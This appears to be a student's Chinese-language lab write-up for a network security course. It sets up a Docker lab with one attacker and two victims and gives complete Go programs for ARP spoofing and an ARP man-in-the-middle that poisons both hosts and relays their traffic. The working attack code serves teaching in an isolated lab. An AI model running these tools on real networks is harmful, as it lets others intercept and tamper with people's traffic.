半夜发现还有个作业没写, 课件好像是用c写的, 这里直接用go实现了
apt install iproute2
apt install net-tools
apt install inetutils-ping
先配置好docker
services:
attacker:
build: .
networks:
testnet:
ipv4_address: 172.20.0.66
cap_add:
- NET_RAW
- NET_ADMIN
tty: true
victim1:
image: ubuntu:latest
networks:
testnet:
ipv4_address: 172.20.0.101
tty: true
victim2:
image: ubuntu:latest
networks:
testnet:
ipv4_address: 172.20.0.102
tty: true
networks:
testnet:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/24
实验一 arp欺骗
package main
import (
"flag"
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"log"
"net"
"os"
"time"
)
func getLocalInfo(ifaceName string) (net.HardwareAddr, net.IP, error) {
iface, err := net.InterfaceByName(ifaceName)
if err != nil {
return nil, nil, err
}
addrs, err := iface.Addrs()
if err != nil {
return nil, nil, err
}
for _, addr := range addrs {
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() && ipnet.IP.To4() != nil {
return iface.HardwareAddr, ipnet.IP, nil
}
}
return nil, nil, fmt.Errorf("未找到有效 IPv4 地址")
}
// 发送 ARP 回复欺骗包
func sendARPReply(ifaceName string, attackerMAC net.HardwareAddr, spoofedIP net.IP, victimIP net.IP, victimMAC net.HardwareAddr) {
handle, err := pcap.OpenLive(ifaceName, 65536, true, pcap.BlockForever)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
for {
e := layers.Ethernet{
SrcMAC: attackerMAC,
DstMAC: victimMAC,
EthernetType: layers.EthernetTypeARP,
}
a := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPReply,
SourceHwAddress: []byte(attackerMAC),
SourceProtAddress: spoofedIP.To4(),
DstHwAddress: []byte(victimMAC),
DstProtAddress: victimIP.To4(),
}
log.Println(spoofedIP.To4())
log.Println(victimIP.To4())
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{}
gopacket.SerializeLayers(buf, opts, &e, &a)
err := handle.WritePacketData(buf.Bytes())
if err != nil {
log.Println("发送失败:", err)
} else {
log.Println("已发送 ARP 欺骗包")
}
time.Sleep(2 * time.Second)
}
}
func main() {
iface := flag.String("i", "eth0", "网卡名")
spoofIP := flag.String("s", "192.168.1.1", "伪造的源 IP")
victimIP := flag.String("v", "192.168.1.101", "目标主机 IP")
victimMAC := flag.String("m", "", "目标主机 MAC 地址")
flag.Parse()
if *victimMAC == "" {
fmt.Println("必须提供目标主机 MAC 地址(-m)")
os.Exit(1)
}
mac, ip, err := getLocalInfo(*iface)
if err != nil {
log.Fatal("无法获取本机信息:", err)
}
fmt.Printf("本机 MAC: %s, IP: %s\n", mac, ip)
targetMAC, err := net.ParseMAC(*victimMAC)
if err != nil {
log.Fatal("目标 MAC 地址格式错误")
}
sendARPReply(*iface, mac, net.ParseIP(*spoofIP), net.ParseIP(*victimIP), targetMAC)
}
网关IP 172.20.0.1
网关MAC 02:42:60:c2:7d:01
Victim1 运行后
实验二 ARP中间人攻击
package main
import (
"context"
"flag"
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"log"
"net"
"os/exec"
"strings"
"time"
)
// 获取本机网卡的第一个非回环 IPv4 地址和 MAC
func getLocalInfo(ifaceName string) (net.HardwareAddr, net.IP, error) {
iface, err := net.InterfaceByName(ifaceName)
if err != nil {
return nil, nil, err
}
addrs, err := iface.Addrs()
if err != nil {
return nil, nil, err
}
for _, addr := range addrs {
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() && ipnet.IP.To4() != nil {
return iface.HardwareAddr, ipnet.IP, nil
}
}
return nil, nil, fmt.Errorf("未找到有效 IPv4 地址")
}
func getMACFromARP(ip string) (net.HardwareAddr, error) {
out, err := exec.Command("arp", "-n", ip).Output()
if err != nil {
return nil, err
}
fields := strings.Fields(string(out))
for _, field := range fields {
if strings.Count(field, ":") == 5 {
return net.ParseMAC(field)
}
}
return nil, fmt.Errorf("未找到 MAC 地址: %s", ip)
}
func resolveMAC(handle *pcap.Handle, iface string, srcMAC net.HardwareAddr, srcIP, dstIP net.IP) (net.HardwareAddr, error) {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = exec.CommandContext(ctx, "ping", "-c", "1", dstIP.String()).Run()
ether := layers.Ethernet{
SrcMAC: srcMAC,
DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
EthernetType: layers.EthernetTypeARP,
}
arp := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPRequest,
SourceHwAddress: []byte(srcMAC),
SourceProtAddress: srcIP.To4(),
DstHwAddress: []byte{0, 0, 0, 0, 0, 0},
DstProtAddress: dstIP.To4(),
}
buf := gopacket.NewSerializeBuffer()
gopacket.SerializeLayers(buf, gopacket.SerializeOptions{}, ðer, &arp)
err := handle.WritePacketData(buf.Bytes())
if err != nil {
return nil, err
}
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
timeout := time.After(3 * time.Second)
for {
select {
case packet := <-packetSource.Packets():
if a := packet.Layer(layers.LayerTypeARP); a != nil {
arpLayer, _ := a.(*layers.ARP)
if net.IP(arpLayer.SourceProtAddress).Equal(dstIP) {
return net.HardwareAddr(arpLayer.SourceHwAddress), nil
}
}
case <-timeout:
log.Printf("[!] ARP 响应超时,尝试从系统缓存获取 %s 的 MAC...", dstIP)
return getMACFromARP(dstIP.String())
}
}
}
func sendARPReply(handle *pcap.Handle, attackerMAC net.HardwareAddr, spoofedIP net.IP, targetIP net.IP, targetMAC net.HardwareAddr) {
e := layers.Ethernet{
SrcMAC: attackerMAC,
DstMAC: targetMAC,
EthernetType: layers.EthernetTypeARP,
}
a := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPReply,
SourceHwAddress: []byte(attackerMAC),
SourceProtAddress: spoofedIP.To4(),
DstHwAddress: []byte(targetMAC),
DstProtAddress: targetIP.To4(),
}
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{}
gopacket.SerializeLayers(buf, opts, &e, &a)
err := handle.WritePacketData(buf.Bytes())
if err != nil {
log.Println("发送失败:", err)
} else {
log.Printf("[ARP] 假冒 %s -> 发送给 %s 成功", spoofedIP, targetIP)
}
}
func main() {
iface := flag.String("i", "eth0", "网卡名")
victim1IP := flag.String("v1", "172.20.0.101", "受害者1 IP")
victim2IP := flag.String("v2", "172.20.0.102", "受害者2 IP")
flag.Parse()
attackerMAC, attackerIP, err := getLocalInfo(*iface)
if err != nil {
log.Fatal("获取本机信息失败:", err)
}
fmt.Printf("[本机信息] IP: %s, MAC: %s\n", attackerIP, attackerMAC)
handle, err := pcap.OpenLive(*iface, 65536, true, pcap.BlockForever)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
t1IP := net.ParseIP(*victim1IP)
t2IP := net.ParseIP(*victim2IP)
t1MAC, err := resolveMAC(handle, *iface, attackerMAC, attackerIP, t1IP)
if err != nil {
log.Fatalf("无法解析 victim1 MAC: %v", err)
}
t2MAC, err := resolveMAC(handle, *iface, attackerMAC, attackerIP, t2IP)
if err != nil {
log.Fatalf("无法解析 victim2 MAC: %v", err)
}
for {
sendARPReply(handle, attackerMAC, t2IP, t1IP, t1MAC)
sendARPReply(handle, attackerMAC, t1IP, t2IP, t2MAC)
time.Sleep(2 * time.Second)
}
}
运行结果如下
接下来就能实现接收双方通信内容并转发
func relayPacket(handle *pcap.Handle, packet gopacket.Packet, dstMAC net.HardwareAddr, srcMAC net.HardwareAddr) {
ethLayer := packet.Layer(layers.LayerTypeEthernet)
if ethLayer == nil {
return
}
eth := ethLayer.(*layers.Ethernet)
eth.DstMAC = dstMAC
eth.SrcMAC = srcMAC
buf := gopacket.NewSerializeBuffer()
err := gopacket.SerializePacket(buf, gopacket.SerializeOptions{}, packet)
if err != nil {
log.Println("序列化失败:", err)
return
}
err = handle.WritePacketData(buf.Bytes())
if err != nil {
log.Println("重发失败:", err)
}
}
在main里调协程
go func() {
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
ethLayer := packet.Layer(layers.LayerTypeEthernet)
if ethLayer == nil {
continue
}
eth := ethLayer.(*layers.Ethernet)
// victim1 -> victim2
if eth.SrcMAC.String() == t1MAC.String() && eth.DstMAC.String() == attackerMAC.String() {
relayPacket(handle, packet, t2MAC, attackerMAC)
}
// victim2 -> victim1
if eth.SrcMAC.String() == t2MAC.String() && eth.DstMAC.String() == attackerMAC.String() {
relayPacket(handle, packet, t1MAC, attackerMAC)
}
}
}()
xdg-user-dirs-update
结果如下, 成功转发